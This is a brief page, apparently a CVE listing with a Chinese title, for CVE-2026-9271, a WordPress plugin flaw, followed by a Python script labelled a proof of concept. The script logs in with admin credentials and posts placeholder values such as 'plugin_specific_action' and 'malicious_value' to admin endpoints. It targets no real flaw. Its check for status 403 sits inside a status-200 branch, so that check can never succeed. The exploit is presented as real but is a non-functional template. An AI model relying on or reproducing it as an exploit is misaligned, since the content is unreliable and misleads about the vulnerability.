CVE-2026-9271 WordPress插件安全漏洞 (CVSS 5.9中危)

# CVE-2026-9271 PoC - WordPress Plugin Security Bypass # Note: This PoC is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def test_cve_2026_9271(target_url, username, password): """ Test for CVE-2026-9271 WordPress Plugin Vulnerability Requires high-privilege account and user interaction """ session = requests.Session() # WordPress login endpoint login_url = urljoin(target_url, '/wp-login.php') # Login with high-privilege account login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f'[*] Attempting login to {target_url}') response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Vulnerable endpoint - plugin-specific # Replace with actual vulnerable endpoint after analysis vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=plugin_settings' ] for endpoint in vulnerable_endpoints: test_url = urljoin(target_url, endpoint) # Crafted request exploiting the vulnerability # This requires user interaction and specific conditions exploit_data = { 'action': 'plugin_specific_action', 'nonce': 'test', 'parameter': 'malicious_value' } print(f'[*] Testing endpoint: {endpoint}') response = session.post(test_url, data=exploit_data) if response.status_code == 200: # Check for vulnerability indicators if 'unexpected_data' in response.text or response.status_code == 403: print(f'[+] Potential vulnerability detected at {endpoint}') return True print('[-] No vulnerability detected or exploit conditions not met') print('[*] Note: CVE-2026-9271 requires user interaction (UI:R)') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2026_9271_poc.py <target_url> <username> <password>') print('Example: python cve_2026_9271_poc.py http://example.com admin password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] test_cve_2026_9271(target, user, pwd)